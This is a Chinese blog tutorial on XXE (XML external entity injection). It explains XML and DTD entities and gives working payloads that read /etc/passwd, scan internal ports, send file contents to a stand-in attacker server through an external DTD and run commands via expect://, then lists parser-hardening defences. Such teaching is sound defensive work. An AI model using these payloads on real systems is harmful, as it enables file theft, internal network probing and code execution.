XXE漏洞(XML外部实体注入)

         ~~~~~~~~         因为想要面对一个新的开始,一个人必须有梦想、有希望、有对未来的憧憬。如果没有这些,就不叫新的开始,而叫逃亡。 ​​​​
                                                                                                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~                                                                                                 ————玛丽亚·杜埃尼亚斯

什么是XXE

XXE(XML External Entity Injection)也就是XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,XML文件的解析依赖libxml 库,而 libxml2.9 以前的版本默认支持并开启了对外部实体的引用,服务端解析用户提交的XML文件时,未对XML文件引用的外部实体(含外部一般实体和外部参数实体)做合适的处理,并且实体的URL支持 file:// 和 ftp:// 等协议,导致可加载恶意外部文件 和 代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

基础知识

要了解XXE漏洞,那么一定得先明白基础知识,了解XML文档的基础组成。

XML 指可扩展标记语言(Extensible Markup Language)。
XML是独立于软件和硬件的信息传输工具,它把数据从HTML中分离。 XML语言没有预定义的标签,允许作者定义自己的标签和自己的文档结构。

XML语法规则

XML 文档必须有一个根元素

  • XML 元素都必须有一个关闭标签
  • XML 标签对大小敏感
  • XML 元素必须被正确的嵌套
  • XML 属性值必须加引导
<?xml version="1.0" encoding="UTF-8"?> <!--XML 声明-->
<girl age="23">                 <!--自定的根元素girl;age属性需要加引导--> 
<hair>短头发</hair>              <!--自定义的4个子元素,即girl对象的属性-->
<eye>大眼睛</eye> 
<face>可爱的脸庞</face> 
<summary>我最爱的女孩</summary> 
</girl>                          <!--根元素的闭合-->

DTD(document type definition)

XML文档结构包括XML声明、DTD文档类型定义、文档元素。而DTD就是用来控制文档的一个格式规范的。
如图中的DTD就定义了XML的根元素为note,然后根元素下面有一些子元素(to,from,heading,body),那么下面的文档元素就必须是这些元素。
在这里插入图片描述
PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体 以及标记。文本中的标签会被当作标记来处理,而实体会被展开。
CDATA意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对 待,其中的实体也不会被展开。

实体引用

实体的引用分为内部引用和外部引用,而实体又分为通用实体和参数实体。
内部引用
其实除了在DTD中定义元素以外,我们还可以在DTD中定义实体(相当于一个变量),我们可以在XML中通过“&”符号进行引用。

格式:<!DOCTYPE 根元素 [元素声明]>

比如如下代码:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >      #定义元素为ANY表示接收任何元素
<!ENTITY xxe "test" >]>  #定义了一个实体xxe
<creds>
<user>&xxe;</user>       #使用&xxe对实体进行引用,输出时就被“test”替换
<pass>mypass</pass>
</creds>

外部引用
上面举的例子是内部引用,但实际上我们可以从外部的dtd文件中引用。

格式:<!DOCTYPE 根元素 SYSTEM "文件名">

比如:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> 

note.dtd的内容为:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

特殊符号引用
在XML中,一些字符拥有特殊的意义,如果把这些直接放进XML元素中会产生错误。比如下面这个插入了“<”符号,解析器会把它当作新元素的开始,就会产生错误。

<message>if salary < 1000 then</message>

为了避免这个错误,我们可以用实体引用来替代这些特殊的字符。比如:

<message>if salary &lt; 1000 then</message>

在XML中有5个预定义的实体引用

实体特殊符号描述
&lt;<小于
&gt;>大于
&amp;&和号
&apos;省略号
&quot;"引号

通用实体
通用实体用&实体名引用,在DTD中定义,在XML文档中都可以使用。比如:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
<updateProfile>  
    <firstname>Joe</firstname>  
    <lastname>&file;</lastname>  
    ... 
</updateProfile>

参数实体
参数实体使用% 实体名(空格不能少)在DTD中定义,并且只能在DTD中使用&实体名;引用。
只有在DTD文件中,参数实体的声明才能引用其他实体。参数实体也可以外部引用。

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;

基本利用

XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。通常攻击者会将payload注入XML文件中,一旦文件被执行,将会读取服务器上的本地文件,并对内网发起访问扫描内部网络端口。换而言之,XXE是一种从本地到达各种服务的方法。此外,在一定程度上这也可能帮助攻击者绕过防火墙规则过滤或身份验证检查。

那么如何构建外部实体注入呢?
方式一:直接通过DTD外部实体声明

<?xml version="1.0"?>
<!DOCTYPE a[
    <!ENTITY b SYSTEM "file:///etc/passwd">
]>
<a>&b;</a>

方式二:通过DTD外部实体声明引入外部DTD文档,再引入外部实体声明(通用实体)

<?xml version="1.0"?>
<!DOCTYPE a [
       <!ENTITY b SYSTEM "http://mark4z5.com/evil.dtd">
]>
<a>&b;</a>
#而http://mark4z5.com/evil.dtd内容为
<!ENTITY b SYSTEM "file:///etc/passwd">

方式三:通过DTD外部实体声明引入外部DTD文档,再引入外部实体声明(参数实体)

<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY %b SYSTEM "http://mark4z5.com/evil.dtd">
]>
<a>%b;</a>
 
#http://mark4z5.com/evil.dtd文件内容
<!ENTITY b SYSTEM "file:///etc/passwd">

XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题。例如敏感文件读取。

任意文件读取

以下是一个简单的XML代码POST请求实例:

POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1

<?xml version="1.0"?>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>XML is the best!</description>
   </core>
</catalog>

上述代码将会由服务器的XML解析器进行解析,并返回{“Request Successful”: “Added!”}
现在我们编辑XML代码,使其包含我们恶意的payload:

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

代码将会被解释并返回如下,可以看出,服务器将/etc/passwd文件的内容作为响应返回给我们的XXE。

{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...

无回显读取本地敏感文件(Blind OOB XXE)

在某些情况下,即便是服务器可能存在XXE,也不会向攻击者的浏览器或代理返回任何响应。遇到这种情况,我们可以使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据。虽然我们无法直接查看文件内容,但我们仍然可以使用易受攻击的服务器作为代理,在外部网络上执行扫描及代码。

端口扫描

在任意文件读取中,我们通过url将请求指向了/etc/passwd文件,并最终成功的返回了文件中的内容。此外,我们还可以使用http url并强制服务器向我们指定的端点和端口发送get请求,将XXE转换成SSRF(服务器端跨站请求伪造)
下列代码将尝试与端口8080通信,根据响应时间/长度,攻击者将可以判断该端口是否已被开启。

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

通过DTD盗取文件

外部文档类型定义(DTD)文件可被用于触发OOB XXE。攻击者将.dtd文件托管在VPS上,使远程易受攻击的服务器获取该文件并执行其中的恶意命令。
以下请求将被发送到应用程序以演示和测试该方法:

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd">
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

以上代码一旦由易受攻击的服务器处理,就会向我们的远程服务器发送请求,查找包含我们payload的DTD文件如下:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;'>">
%all;

我们来梳理一下流程:第一次请求中,我们构造并引用了xxe_file.dtd这个文件。第二次请求则为文件中/etc/passwd文件的内容。通过对vps日志文件的查看,可以看见如下记录,因此确认了OOB XXE漏洞的存在。

http://ATTACKERSERVER.com/?daemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fbin%2Fsh%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fbin%2Fsh

远程代码执行

这种情况相对较少,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且php expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

响应内容:

{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

XXE的相关防御

通过手工篡改网站中xml实体中的头部,加入相关的读取文件、命令执行或是链接等,如file:///$path/file.txt;http://url/file.txt;看看能否显示出来,可以帮助我们发现是否存在XXE漏洞。

方案一:使用开发语言提供的禁用外部实体的方法

PHP:
libxml_disable_entity_loader(true);
 
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
 
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二:过滤用户提交的XML数据

关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

通过以上的分析可以看出,能够手动的编辑web请求对于XXE攻击至关重要。主要问题也是XML解析器解析了用户发送的不可信数据。因此最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。

相关文章:
一篇文章带你深入理解漏洞之 XXE 漏洞
xxe漏洞原理与防御
XXE漏洞利用技巧:从XML到远程代码执行
XXE(XML外部实体注入)

  • 1
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
XML外部实体注入漏洞XML External Entity Injection, 简称XXE)是一种常见的安全漏洞,攻击者可以利用这种漏洞来读取任意文件、执行系统命令等操作。 在XML文档中,可以通过定义实体来引用外部资源,例如文件、URL等。当XML解析器解析XML文档时,如果不对外部实体进行限制,攻击者可以通过构造恶意的XML文档,将外部实体指向敏感文件或者恶意URL,从而导致漏洞。 具体来说,攻击者可以在XML文档中定义一个实体,使用DTD(Document Type Definition)语法将该实体指向一个外部文件,然后在XML文档中使用该实体。当XML解析器解析该实体时,就会将指定的外部文件读取进来,从而导致漏洞。 例如,下面的XML文档定义了一个名为“file”的实体,指向了一个敏感文件“/etc/passwd”: ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE message [ <!ELEMENT message (#PCDATA)> <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <message>&file;</message> ``` 如果XML解析器不对外部实体进行限制,那么解析该文档时就会读取“/etc/passwd”文件的内容,并将其包含在<message>元素中返回给应用程序,从而导致敏感信息泄漏。 为了防止XXE漏洞,可以采取以下措施: 1. 禁止使用外部实体,或者限制外部实体的使用范围。可以在XML解析器中设置相关参数,例如禁止加载外部实体、禁止解析DTD等。 2. 对外部实体进行白名单过滤,只允许加载特定的URL或文件。 3. 检查输入数据,避免恶意输入注入XML文档中。 4. 对于持久化的XML数据,应该使用安全的XML库来处理,例如使用DOM4J或JAXB等库,这些库会自动过滤掉外部实体

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值